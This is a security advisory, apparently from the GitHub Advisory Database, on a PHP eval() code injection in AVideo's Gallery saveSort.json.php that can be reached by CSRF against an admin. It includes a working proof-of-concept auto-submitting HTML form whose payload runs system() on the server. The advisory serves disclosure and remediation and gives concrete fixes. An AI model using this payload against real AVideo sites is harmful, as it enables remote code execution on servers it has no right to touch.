wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33479
AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin
Summary
The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.
Details
Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
foreach ($_REQUEST['sections'] as $key => $value) {
$obj->sectionsSaved[] = array($key=>$value);
eval("\$object->{$value}Order = \$key;");
}
$obj->error = !$gallery->setDataObject($object);
}
The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.
CSRF enablement — objects/include_config.php:134-137:
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.
No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.
Exploit chain:
saveSort.json.phpSameSite=None)User::isAdmin() passes because the admin's session is presentsections array value is passed to eval() and executesPoC
Step 1: Host the following HTML on an attacker-controlled server:
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
<input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
The base64 decodes to id;hostname.
Step 2: Lure an authenticated AVideo admin to visit the page.
Step 3: The eval on line 24 executes:
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;
This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
Expected result: The id and hostname commands execute on the server under the web server's user context.
Impact
SameSite=None) where an admin can be lured to click a link is vulnerable.Recommended Fix
Primary fix — Replace `eval()` with an allowlist check:
In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
$allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
'Subscribe', 'Popular', 'LiveStream', 'Category',
'Program', 'Channel'];
foreach ($_REQUEST['sections'] as $key => $value) {
if (!in_array($value, $allowedSections, true)) {
continue;
}
$obj->sectionsSaved[] = array($key => $value);
$property = $value . 'Order';
$object->$property = intval($key);
}
$obj->error = !$gallery->setDataObject($object);
}
This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.
Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:
ini_set('session.cookie_samesite', 'Lax');
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
High Basis: The source's own band: HIGH
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0